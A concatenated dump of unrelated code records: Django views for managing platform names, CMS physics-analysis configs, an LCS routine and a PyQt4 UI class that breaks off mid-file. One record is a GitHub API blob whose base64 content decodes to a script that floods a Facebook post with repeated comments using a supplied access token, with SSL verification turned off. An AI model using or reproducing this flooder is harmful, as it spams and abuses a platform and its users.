fina.append(temp)
return render(request, 'config_plat.html', {'data': json.dumps(fina)})
def get_plat_name(request):
plat_name = request.POST['plat_name']
cache.set('plat_name', plat_name)
return HttpResponse(json.dumps('bingo'))
# 平台编辑
def config_plat_edit(request):
plat_name = cache.get('plat_name')
# 该模式的信息
info = Plat.objects.get(plat=plat_name).plat
return render(request, 'config_plat_edit.html', {'plat': info})
# 平台编辑页面下确认后更新数据库
def plat_confirm_edit(request):
plat_name = cache.get('plat_name')
info = Plat.objects.get(plat=plat_name).plat
# 如果编辑没有改变原来的值，则默认使用原来的值
plat = request.POST['plat']
if plat == '':
plat = info
try:
Plat.objects.filter(plat=plat_name).update(plat=plat)
return HttpResponse('修改成功')
except Exception as e:
print(e)
return HttpResponse('请检查平台名称是否已经存在')
# 删除运营商
def plat_delete(request):
name = request.POST['plat_name']
Plat.objects.filter(plat=name).delete()
return HttpResponse(json.dumps("bingo"))
# 平台添加
def config_add_plat(request):
return render(request, 'config_add_plat.html')
# 平台添加入库
def config_add_plat_confirm(request):
name = request.POST['name']
try:
rc = Plat(plat=name)
rc.save(force_insert=True)
return HttpResponse('添加成功')
except Exception as e:
print(e)
return HttpResponse('请检查平台名称是否已经存在')
|
18,231 | f2a10b205470f120fd52f9221bd46329bbc8c938 | import sys
import os
sys.path.append('../')
dirname = os.path.dirname(__file__)
filename = os.path.join(dirname, 'fixtures.json')
|
18,232 | f7ae319e064dd8e9a5112935394dfe5f83615be6 | from PhysicsTools.PatAlgos.patTemplate_cfg import *
from PhysicsTools.PatAlgos.tools.coreTools import *
useData=False
###############################
####### Parameters ############
###############################
from FWCore.ParameterSet.VarParsing import VarParsing
options = VarParsing ('python')
import sys
# get the 7 TeV jet corrections
from PhysicsTools.PatAlgos.tools.jetTools import *
if useData == False :
# Make sure to NOT apply L2L3Residual to MC
corrections = ['L2Relative', 'L3Absolute']
# global tag for 384 MC
process.GlobalTag.globaltag = cms.string('START311_V2::All')
else :
# Make sure to apply L2L3Residual to data
corrections = ['L2Relative', 'L3Absolute', 'L2L3Residual']
# global tag for 386 data
process.GlobalTag.globaltag = cms.string('GR_R_311_V2::All')
# add the flavor history
process.load("PhysicsTools.HepMCCandAlgos.flavorHistoryPaths_cfi")
# PF from RECO and not using PF2PAT
addJetCollection(process,cms.InputTag('ak5PFJets'),
'AK5', 'PF',
doJTA = True,
doBTagging = True,
jetCorrLabel = ('AK5PF',corrections),
doType1MET = False,
doL1Cleaning = False,
doL1Counters = False,
genJetCollection = cms.InputTag("ak5GenJets"),
doJetID = False,
jetIdLabel = "ak5"
)
from PhysicsTools.PatAlgos.tools.metTools import *
addTcMET(process, 'TC')
addPfMET(process, 'PF')
process.selectedPatJetsAK5PF.cut = cms.string('pt > 20 & abs(eta) < 2.4')
process.selectedPatJets.cut = cms.string('pt > 20 & abs(eta) < 2.4')
process.patJets.tagInfoSources = cms.VInputTag(
cms.InputTag("secondaryVertexTagInfosAOD")
)
process.patJetsAK5PF.tagInfoSources = cms.VInputTag(
cms.InputTag("secondaryVertexTagInfosAK5PF")
)
process.selectedPatMuons.cut = cms.string("pt > 10")
process.patMuons.usePV = False
process.patMuons.embedTrack = True
process.selectedPatElectrons.cut = cms.string("pt > 10")
process.patElectrons.usePV = False
process.patElectrons.embedTrack = True
process.patJets.userData.userFunctions = cms.vstring( "? hasTagInfo('secondaryVertex') && tagInfoSecondaryVertex('secondaryVertex').nVertices() > 0 ? "
"tagInfoSecondaryVertex('secondaryVertex').secondaryVertex(0).p4().mass() : 0")
process.patJets.userData.userFunctionLabels = cms.vstring('secvtxMass')
process.patJetsAK5PF.userData.userFunctions = cms.vstring( "? hasTagInfo('secondaryVertex') && tagInfoSecondaryVertex('secondaryVertex').nVertices() > 0 ? "
"tagInfoSecondaryVertex('secondaryVertex').secondaryVertex(0).p4().mass() : 0")
process.patJetsAK5PF.userData.userFunctionLabels = cms.vstring('secvtxMass')
process.patJets.embedPFCandidates = True
process.patJets.embedCaloTowers = True
process.patJetsAK5PF.embedCaloTowers = True
process.patJetsAK5PF.embedPFCandidates = True
# prune gen particles
process.load("SimGeneral.HepPDTESSource.pythiapdt_cfi")
process.prunedGenParticles = cms.EDProducer("GenParticlePruner",
src = cms.InputTag("genParticles"),
select = cms.vstring(
"drop *",
"keep status = 3", #keeps all particles from the hard matrix element
"+keep (abs(pdgId) = 11 | abs(pdgId) = 13) & status = 1" #keeps all stable muons and electrons and their (direct) mothers.
)
)
process.patseq = cms.Sequence(
# process.scrapingVeto*
# process.primaryVertexFilter*
# process.HBHENoiseFilter*
process.patDefaultSequence*
process.flavorHistorySeq *
process.prunedGenParticles
)
process.p1 = cms.Path(
process.patseq
)
process.out.SelectEvents.SelectEvents = cms.vstring('p1')
process.maxEvents.input = -1
process.options.wantSummary = True
process.out.dropMetaData = cms.untracked.string("DROPPED")
from PhysicsTools.PatAlgos.patEventContent_cff import patEventContentNoCleaning
from PhysicsTools.PatAlgos.patEventContent_cff import patExtraAodEventContent
from PhysicsTools.PatAlgos.patEventContent_cff import patTriggerEventContent
process.out.outputCommands = [
'keep GenRunInfoProduct_generator_*_*',
'keep GenEventInfoProduct_generator_*_*',
'keep *_flavorHistoryFilter_*_*',
'keep *_prunedGenParticles_*_*',
# 'keep *_decaySubset_*_*',
# 'keep *_initSubset_*_*',
'drop *_cleanPat*_*_*',
'keep *_selectedPat*_*_*',
'keep *_patMETs*_*_*',
# 'keep recoPFCandidates_particleFlow_*_*',
'keep *_offlineBeamSpot_*_*',
'keep *_offlinePrimaryVertices_*_*',
'keep recoTracks_generalTracks_*_*',
'drop patPFParticles_*_*_*',
# 'keep patTriggerObjects_patTrigger_*_*',
# 'keep patTriggerFilters_patTrigger_*_*',
'keep patTriggerPaths_patTrigger_*_*',
'keep patTriggerEvent_patTriggerEvent_*_*',
# 'keep *_cleanPatPhotonsTriggerMatch_*_*',
# 'keep *_cleanPatElectronsTriggerMatch_*_*',
# 'keep *_cleanPatMuonsTriggerMatch_*_*',
# 'keep *_cleanPatTausTriggerMatch_*_*',
# 'keep *_cleanPatJetsTriggerMatch_*_*',
# 'keep *_patMETsTriggerMatch_*_*',
'drop *_MEtoEDMConverter_*_*'
]
|
18,233 | b2738d1fc0ea799b1ba79970e239da7708f194eb | {"name":"main-win.py","path":"main-win.py","sha":"481f4e71153a7443c50ee90d9aaa9dc41c204f3a","size":940,"url":"https://api.github.com/repos/aryoume/Project1/contents/main-win.py?ref=fb1913815eff502c0a0f313687e3391babf9d9f8","html_url":"https://github.com/aryoume/Project1/blob/fb1913815eff502c0a0f313687e3391babf9d9f8/main-win.py","git_url":"https://api.github.com/repos/aryoume/Project1/git/blobs/481f4e71153a7443c50ee90d9aaa9dc41c204f3a","download_url":"https://raw.githubusercontent.com/aryoume/Project1/fb1913815eff502c0a0f313687e3391babf9d9f8/main-win.py","type":"file","content":"aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1w\nb3J0IG9zCmltcG9ydCB0aW1lCmltcG9ydCBzc2wKc3NsLl9jcmVhdGVfZGVm\nYXVsdF9odHRwc19jb250ZXh0ID0gc3NsLl9jcmVhdGVfdW52ZXJpZmllZF9j\nb250ZXh0Cgpvcy5zeXN0ZW0oImNscyAmJiBlY2hvIEFSWW91TWUiKQpvcy5z\neXN0ZW0oImVjaG8gQ29tbWVudCIpCgptc2cgPSBpbnB1dCgiTWVzc2FnZTog\nIikKdG9rZW4gPSBpbnB1dCgiVG9rZW46ICIpCmlkID0gaW5wdXQoIklkIFBv\nc3Q6ICIpCgpkZWYgbWFpbigpOgogICAgb3Muc3lzdGVtKCJjbHMgJiYgZWNo\nbyBDb21tZW50IikKICAgIHByaW50KCJbMV0gMTAgQ29tbWVudFxuIiArICJb\nMl0gMTAwIENvbW1lbnRcbiIgKyAiWzNdIDUwMCBDb21tZW50IikKICAgIG1h\naW4gPSBpbnB1dCgiRW50ZXIgTnVtYmVyOiAiKQogICAgb3Muc3lzdGVtKCJj\nbHMgJiYgZWNobyBTdGFydCIpCiAgICBuID0gMTAgaWYgbWFpbiA9PSAiMSIg\nZWxzZSAxMDAgaWYgbWFpbiA9PSAiMiIgZWxzZSA1MDAgaWYgbWFpbiA9PSAi\nMyIgZWxzZSAwCiAgICBpZiBuID09IDA6CiAgICAgICAgb3Muc3lzdGVtKCJj\nbHMgJiYgZWNobyBXcm9uZyEiKQogICAgICAgIHRpbWUuc2xlZXAoMC41KQog\nICAgICAgIG9zLnN5c3RlbSgicHl0aG9uIG1haW4ucHkiKSAKICAgIGZsb29k\nKG4pCgpkZWYgZmxvb2Qobik6CiAgICBmb3IgaSBpbiByYW5nZShuKToKICAg\nICAgICB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCIgaHR0cHM6Ly9ncmFwaC5m\nYWNlYm9vay5jb20vIiArIGlkICsgIi9jb21tZW50cz9tZXNzYWdlPSIgKyB1\ncmxsaWIucGFyc2UucXVvdGVfcGx1cyhtc2cpICsiJm1ldGhvZD1wb3N0JmFj\nY2Vzc190b2tlbj0iICsgdG9rZW4pCiAgICBwcmludCgiRG9uZSIpCgppZiBf\nX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgogICAgCg==\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/aryoume/Project1/contents/main-win.py?ref=fb1913815eff502c0a0f313687e3391babf9d9f8","git":"https://api.github.com/repos/aryoume/Project1/git/blobs/481f4e71153a7443c50ee90d9aaa9dc41c204f3a","html":"https://github.com/aryoume/Project1/blob/fb1913815eff502c0a0f313687e3391babf9d9f8/main-win.py"}} |
18,234 | 2cc094365bf875c716ee72b765abe2b621f0e204 | import FWCore.ParameterSet.Config as cms
import HLTrigger.HLTfilters.hltHighLevel_cfi
ALCARECOEcalESAlignHLT = HLTrigger.HLTfilters.hltHighLevel_cfi.hltHighLevel.clone(
andOr = True, # choose logical OR between Triggerbits
eventSetupPathsKey = 'EcalESAlign',
throw = False # tolerate triggers stated above, but not available
)
# this imports the module that produces a reduced collections for ES alignment
#from Calibration.EcalAlCaRecoProducers.EcalAlCaESAlignTrackReducer_cfi import *
# this imports the filter that skims the events requiring a min number of selected tracks
esSelectedTracks = cms.EDFilter("TrackSelector",
src = cms.InputTag('generalTracks'),
cut = cms.string("abs(eta)>1.65 && pt>1 && numberOfValidHits>=10")
)
import Alignment.CommonAlignmentProducer.AlignmentTrackSelector_cfi
ecalAlCaESAlignTrackReducer = Alignment.CommonAlignmentProducer.AlignmentTrackSelector_cfi.AlignmentTrackSelector.clone(
src = cms.InputTag('esSelectedTracks'),
filter = True, ##do not store empty events
applyBasicCuts = False,
ptMin = 1.0, ##GeV
etaMin = -3.5,
etaMax = 3.5,
nHitMin = 0
)
esMinTrackNumberFilter = cms.EDFilter("TrackCountFilter",
src = cms.InputTag('ecalAlCaESAlignTrackReducer'),
minNumber = cms.uint32(10)
)
EcalESAlignTracksSkimSeq = cms.Sequence( esSelectedTracks * ecalAlCaESAlignTrackReducer * esMinTrackNumberFilter)
seqEcalESAlign = cms.Sequence(ALCARECOEcalESAlignHLT * EcalESAlignTracksSkimSeq)
|
18,235 | 567316e1be3cce2fa1743d9a1b93d4f69424b2d1 | def lcs(a,b):
lcs = [[None]*(len(b)+1) for i in range(len(a)+1)]
for i in range(0,len(a)+1):
for j in range(0,len(b)+1):
if i==0 or j==0:
lcs[i][j]=0
elif a[i-1]==b[j-1]:
lcs[i][j]= 1+lcs[i-1][j-1]
else:
lcs[i][j]=max(lcs[i-1][j],lcs[i][j-1])
for i in range(0,len(a)+1):
for j in range(0,len(b)+1):
print(lcs[i][j],end="")
print()
print("The length of the LCS",lcs[i][j])
a=[5,3,2,7,8,1,6]
b=[7,1,6,8,2,5,9]
lcs(a,b) |
18,236 | c800efc442d70932f6e625d4f3eac58789f85554 | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'mainwindow.ui'
#
# Created: Sun Nov 8 22:41:27 2015
# by: PyQt4 UI code generator 4.10.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8("MainWindow"))
MainWindow.setEnabled(True)
MainWindow.resize(600, 600)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Maximum, QtGui.QSizePolicy.Maximum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth())
MainWindow.setSizePolicy(sizePolicy)
MainWindow.setMinimumSize(QtCore.QSize(600, 600))
MainWindow.setMaximumSize(QtCore.QSize(600, 600))
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("assets/logo.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
MainWindow.setWindowIcon(icon)
self.viewOne = QtGui.QFrame(MainWindow)
self.viewOne.setEnabled(True)
self.viewOne.setGeometry(QtCore.QRect(10, 600, 580, 580))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Maximum, QtGui.QSizePolicy.Minimum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.viewOne.sizePolicy().hasHeightForWidth())
self.viewOne.setSizePolicy(sizePolicy)
self.viewOne.setMinimumSize(QtCore.QSize(580, 580))
self.viewOne.setMaximumSize(QtCore.QSize(580, 580))
self.viewOne.setLayoutDirection(QtCore.Qt.LeftToRight)
self.viewOne.setStyleSheet(_fromUtf8(""))
self.viewOne.setFrameShape(QtGui.QFrame.StyledPanel)
self.viewOne.setFrameShadow(QtGui.QFrame.Raised)
self.viewOne.setObjectName(_fromUtf8("viewOne"))
self.gridLayout = QtGui.QGridLayout(self.viewOne)
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.floorNext = QtGui.QPushButton(self.viewOne)
self.floorNext.setEnabled(False)
self.floorNext.setMinimumSize(QtCore.QSize(150, 0))
self.floorNext.setObjectName(_fromUtf8("floorNext"))
self.gridLayout.addWidget(self.floorNext, 5, 2, 1, 1)
self.label_2 = QtGui.QLabel(self.viewOne)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(150)
sizePolicy.setVerticalStretch(150)
sizePolicy.setHeightForWidth(self.label_2.sizePolicy().hasHeightForWidth())
self.label_2.setSizePolicy(sizePolicy)
self.label_2.setMaximumSize(QtCore.QSize(150, 150))
self.label_2.setText(_fromUtf8(""))
self.label_2.setPixmap(QtGui.QPixmap(_fromUtf8("assets/logo.png")))
self.label_2.setScaledContents(True)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.gridLayout.addWidget(self.label_2, 0, 2, 1, 1)
self.floorImage = QtGui.QLabel(self.viewOne)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Maximum, QtGui.QSizePolicy.Maximum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.floorImage.sizePolicy().hasHeightForWidth())
self.floorImage.setSizePolicy(sizePolicy)
self.floorImage.setMinimumSize(QtCore.QSize(400, 0))
self.floorImage.setMaximumSize(QtCore.QSize(400, 16777215))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.floorImage.setFont(font)
self.floorImage.setText(_fromUtf8(""))
self.floorImage.setPixmap(QtGui.QPixmap(_fromUtf8("assets/0U.jpg")))
self.floorImage.setScaledContents(True)
self.floorImage.setAlignment(QtCore.Qt.AlignCenter)
self.floorImage.setObjectName(_fromUtf8("floorImage"))
self.gridLayout.addWidget(self.floorImage, 0, 0, 6, 1)
self.selectFloor = QtGui.QGroupBox(self.viewOne)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(150)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.selectFloor.sizePolicy().hasHeightForWidth())
self.selectFloor.setSizePolicy(sizePolicy)
self.selectFloor.setMinimumSize(QtCore.QSize(150, 0))
self.selectFloor.setMaximumSize(QtCore.QSize(150, 16777215))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.selectFloor.setFont(font)
self.selectFloor.setAlignment(QtCore.Qt.AlignCenter)
self.selectFloor.setObjectName(_fromUtf8("selectFloor"))
self.gridLayout_6 = QtGui.QGridLayout(self.selectFloor)
self.gridLayout_6.setObjectName(_fromUtf8("gridLayout_6"))
self.gridLayout_5 = QtGui.QGridLayout()
self.gridLayout_5.setObjectName(_fromUtf8("gridLayout_5"))
self.secondFloor = QtGui.QRadioButton(self.selectFloor)
self.secondFloor.setLayoutDirection(QtCore.Qt.LeftToRight)
self.secondFloor.setObjectName(_fromUtf8("secondFloor"))
self.gridLayout_5.addWidget(self.secondFloor, 2, 0, 1, 1)
self.firstFloor = QtGui.QRadioButton(self.selectFloor)
self.firstFloor.setLayoutDirection(QtCore.Qt.LeftToRight)
self.firstFloor.setObjectName(_fromUtf8("firstFloor"))
self.gridLayout_5.addWidget(self.firstFloor, 1, 0, 1, 1)
self.groundFloor = QtGui.QRadioButton(self.selectFloor)
self.groundFloor.setLayoutDirection(QtCore.Qt.LeftToRight)
self.groundFloor.setChecked(True)
self.groundFloor.setObjectName(_fromUtf8("groundFloor"))
self.gridLayout_5.addWidget(self.groundFloor, 0, 0, 1, 1)
self.gridLayout_6.addLayout(self.gridLayout_5, 0, 0, 1, 1)
self.gridLayout.addWidget(self.selectFloor, 1, 2, 1, 1)
self.groupBox = QtGui.QGroupBox(self.viewOne)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Maximum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
self.groupBox.setAlignment(QtCore.Qt.AlignCenter)
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.gridLayout_8 = QtGui.QGridLayout(self.groupBox)
self.gridLayout_8.setObjectName(_fromUtf8("gridLayout_8"))
self.selectRoom = QtGui.QComboBox(self.groupBox)
self.selectRoom.setObjectName(_fromUtf8("selectRoom"))
self.gridLayout_8.addWidget(self.selectRoom, 0, 0, 1, 1)
self.gridLayout.addWidget(self.groupBox, 3, 2, 1, 1)
self.selectWing = QtGui.QGroupBox(self.viewOne)
self.selectWing.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.selectWing.sizePolicy().hasHeightForWidth())
self.selectWing.setSizePolicy(sizePolicy)
self.selectWing.setAlignment(QtCore.Qt.AlignCenter)
self.selectWing.setObjectName(_fromUtf8("selectWing"))
self.gridLayout_7 = QtGui.QGridLayout(self.selectWing)
self.gridLayout_7.setObjectName(_fromUtf8("gridLayout_7"))
self.u = QtGui.QRadioButton(self.selectWing)
self.u.setChecked(True)
self.u.setObjectName(_fromUtf8("u"))
self.gridLayout_7.addWidget(self.u, 0, 0, 1, 1)
self.v = QtGui.QRadioButton(self.selectWing)
self.v.setObjectName(_fromUtf8("v"))
self.gridLayout_7.addWidget(self.v, 0, 1, 1, 1)
self.w = QtGui.QRadioButton(self.selectWing)
self.w.setObjectName(_fromUtf8("w"))
self.gridLayout_7.addWidget(self.w, 0, 2, 1, 1)
self.z = QtGui.QRadioButton(self.selectWing)
self.z.setObjectName(_fromUtf8("z"))
self.gridLayout_7.addWidget(self.z, 1, 2, 1, 1)
self.y = QtGui.QRadioButton(self.selectWing)
self.y.setObjectName(_fromUtf8("y"))
self.gridLayout_7.addWidget(self.y, 1, 1, 1, 1)
self.x = QtGui.QRadioButton(self.selectWing)
self.x.setObjectName(_fromUtf8("x"))
self.gridLayout_7.addWidget(self.x, 1, 0, 1, 1)
self.gridLayout.addWidget(self.selectWing, 2, 2, 1, 1)
self.viewTwo = QtGui.QFrame(MainWindow)
self.viewTwo.setGeometry(QtCore.QRect(10, 600, 578, 572))
self.viewTwo.setStyleSheet(_fromUtf8(""))
self.viewTwo.setFrameShape(QtGui.QFrame.StyledPanel)
self.viewTwo.setFrameShadow(QtGui.QFrame.Raised)
self.viewTwo.setObjectName(_fromUtf8("viewTwo"))
self.gridLayout_2 = QtGui.QGridLayout(self.viewTwo)
self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2"))
self.roomNext = QtGui.QPushButton(self.viewTwo)
self.roomNext.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.MinimumExpanding, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.roomNext.sizePolicy().hasHeightForWidth())
self.roomNext.setSizePolicy(sizePolicy)
self.roomNext.setMinimumSize(QtCore.QSize(150, 0))
self.roomNext.setMaximumSize(QtCore.QSize(75, 16777215))
self.roomNext.setObjectName(_fromUtf8("roomNext"))
self.gridLayout_2.addWidget(self.roomNext, 2, 4, 1, 1)
self.groupBox_2 = QtGui.QGroupBox(self.viewTwo)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
self.groupBox_2.setMinimumSize(QtCore.QSize(150, 0))
self.groupBox_2.setMaximumSize(QtCore.QSize(150, 16777215))
self.groupBox_2.setAlignment(QtCore.Qt.AlignCenter)
self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
self.verticalLayout = QtGui.QVBoxLayout(self.groupBox_2)
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.scanInfo = QtGui.QPlainTextEdit(self.groupBox_2)
self.scanInfo.setFrameShape(QtGui.QFrame.Box)
self.scanInfo.setFrameShadow(QtGui.QFrame.Plain)
self.scanInfo.setReadOnly(True)
self.scanInfo.setBackgroundVisible(False)
self.scanInfo.setCenterOnScroll(False)
self.scanInfo.setObjectName(_fromUtf8("scanInfo"))
self.verticalLayout.addWidget(self.scanInfo)
self.scanButton = QtGui.QPushButton(self.groupBox_2)
self.scanButton.setObjectName(_fromUtf8("scanButton"))
self.verticalLayout.addWidget(self.scanButton)
self.gridLayout_2.addWidget(self.groupBox_2, 1, 4, 1, 1)
self.label_4 = QtGui.QLabel(self.viewTwo)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(150)
sizePolicy.setVerticalStretch(150)
sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth())
self.label_4.setSizePolicy(sizePolicy)
self.label_4.setMaximumSize(QtCore.QSize(150, 150))
self.label_4.setText(_fromUtf8(""))
self.label_4.setPixmap(QtGui.QPixmap(_fromUtf8("assets/logo.png")))
self.label_4.setScaledContents(True)
self.label_4.setObjectName(_fromUtf8("label_4"))
self.gridLayout_2.addWidget(self.label_4, 0, 4, 1, 1)
self.roomImage = QtGui.QLabel(self.viewTwo)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Maximum, QtGui.QSizePolicy.Maximum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.roomImage.sizePolicy().hasHeightForWidth())
self.roomImage.setSizePolicy(sizePolicy)
self.roomImage.setMinimumSize(QtCore.QSize(400, 0))
self.roomImage.setMaximumSize(QtCore.QSize(400, 16777215))
self.roomImage.setLineWidth(0)
self.roomImage.setText(_fromUtf8(""))
self.roomImage.setPixmap(QtGui.QPixmap(_fromUtf8("assets/rooms/U103.jpg")))
self.roomImage.setScaledContents(True)
self.roomImage.setObjectName(_fromUtf8("roomImage"))
self.gridLayout_2.addWidget(self.roomImage, 0, 0, 3, 1)
self.viewThree = QtGui.QFrame(MainWindow)
self.viewThree.setGeometry(QtCore.QRect(10, 10, 581, 581))
self.viewThree.setStyleSheet(_fromUtf8(""))
self.viewThree.setFrameShape(QtGui.QFrame.StyledPanel)
self.viewThree.setFrameShadow(QtGui.QFrame.Raised)
self.viewThree.setObjectName(_fromUtf8("viewThree"))
self.gridLayout_3 = QtGui.QGridLayout(self.viewThree)
self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3"))
self.saveFileBox = QtGui.QGroupBox(self.viewThree)
self.saveFileBox.setAlignment(QtCore.Qt.AlignCenter)
self.saveFileBox.setObjectName(_fromUtf8("saveFileBox"))
self.gridLayout_9 = QtGui.QGridLayout(self.saveFileBox)
self.gridLayout_9.setObjectName(_fromUtf8("gridLayout_9"))
self.gridLayout_10 = QtGui.QGridLayout()
self.gridLayout_10.setObjectName(_fromUtf8("gridLayout_10"))
self.saveInfo = QtGui.QLabel(self.saveFileBox)
font = QtGui.QFont()
font.setBold(True)
font.setWeight(75)
self.saveInfo.setFont(font)
self.saveInfo.setObjectName(_fromUtf8("saveInfo"))
self.gridLayout_10.addWidget(self.saveInfo, 0, 1, 1, 1)
self.saveData2 = QtGui.QLabel(self.saveFileBox)
self.saveData2.setObjectName(_fromUtf8("saveData2"))
self.gridLayout_10.addWidget(self.saveData2, 2, 1, 1, 1)
self.saveFileBttn = QtGui.QPushButton(self.saveFileBox)
self.saveFileBttn.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.saveFileBttn.sizePolicy().hasHeightForWidth())
self.saveFileBttn.setSizePolicy(sizePolicy)
self.saveFileBttn.setObjectName(_fromUtf8("saveFileBttn"))
self.gridLayout_10.addWidget(self.saveFileBttn, 4, 3, 1, 1, QtCore.Qt.AlignHCenter)
self.saveFileLoc = QtGui.QLabel(self.saveFileBox)
self.saveFileLoc.setObjectName(_fromUtf8("saveFileLoc"))
self.gridLayout_10.addWidget(self.saveFileLoc, 4, 1, 1, 1)
self.logFile = QtGui.QRadioButton(self.saveFileBox)
self.logFile.setObjectName(_fromUtf8("logFile"))
self.gridLayout_10.addWidget(self.logFile, 2, 3, 1, 1)
self.saveData1 = QtGui.QLabel(self.saveFileBox)
self.saveData1.setObjectName(_fromUtf8("saveData1"))
self.gridLayout_10.addWidget(self.saveData1, 1, 1, 1, 1)
self.csv = QtGui.QRadioButton(self.saveFileBox)
self.csv.setObjectName(_fromUtf8("csv"))
self.gridLayout_10.addWidget(self.csv, 0, 3, 1, 1)
self.saveFileIcon = QtGui.QLabel(self.saveFileBox)
self.saveFileIcon.setMaximumSize(QtCore.QSize(110, 115))
self.saveFileIcon.setText(_fromUtf8(""))
self.saveFileIcon.setPixmap(QtGui.QPixmap(_fromUtf8("assets/saveIcon.png")))
self.saveFileIcon.setScaledContents(True)
self.saveFileIcon.setMargin(5)
self.saveFileIcon.setObjectName(_fromUtf8("saveFileIcon"))
self.gridLayout_10.addWidget(self.saveFileIcon, 0, 0, 5, 1)
self.line = QtGui.QFrame(self.saveFileBox)
self.line.setFrameShape(QtGui.QFrame.VLine)
self.line.setFrameShadow(QtGui.QFrame.Sunken)
self.line.setObjectName(_fromUtf8("line"))
self.gridLayout_10.addWidget(self.line, 0, 2, 5, 1)
self.database = QtGui.QRadioButton(self.saveFileBox)
self.database.setObjectName(_fromUtf8("database"))
self.gridLayout_10.addWidget(self.database, 1, 3, 1, 1)
self.allFiles = QtGui.QRadioButton(self.saveFileBox)
self.allFiles.setObjectName(_fromUtf8("allFiles"))
self.gridLayout_10.addWidget(self.allFiles, 3, 3, 1, 1)
self.gridLayout_9.addLayout(self.gridLayout_10, 0, 0, 1, 1)
self.gridLayout_3.addWidget(self.saveFileBox, 1, 0, 1, 3)
self.bannerImage = QtGui.QLabel(self.viewThree)
self.bannerImage.setText(_fromUtf8(""))
self.bannerImage.setPixmap(QtGui.QPixmap(_fromUtf8("assets/teamAwesome.png")))
self.bannerImage.setAlignment(QtCore.Qt.AlignCenter)
self.bannerImage.setObjectName(_fromUtf8("bannerImage"))
self.gridLayout_3.addWidget(self.bannerImage, 2, 0, 1, 3)
spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.gridLayout_3.addItem(spacerItem, 3, 0, 1, 1)
self.restartButton = QtGui.QPushButton(self.viewThree)
self.restartButton.setObjectName(_fromUtf8("restartButton"))
self.gridLayout_3.addWidget(self.restartButton, 3, 1, 1, 1)
self.groupBox_3 = QtGui.QGroupBox(self.viewThree)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Maximum)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth())
self.groupBox_3.setSizePolicy(sizePolicy)
self.groupBox_3.setAlignment(QtCore.Qt.AlignCenter)
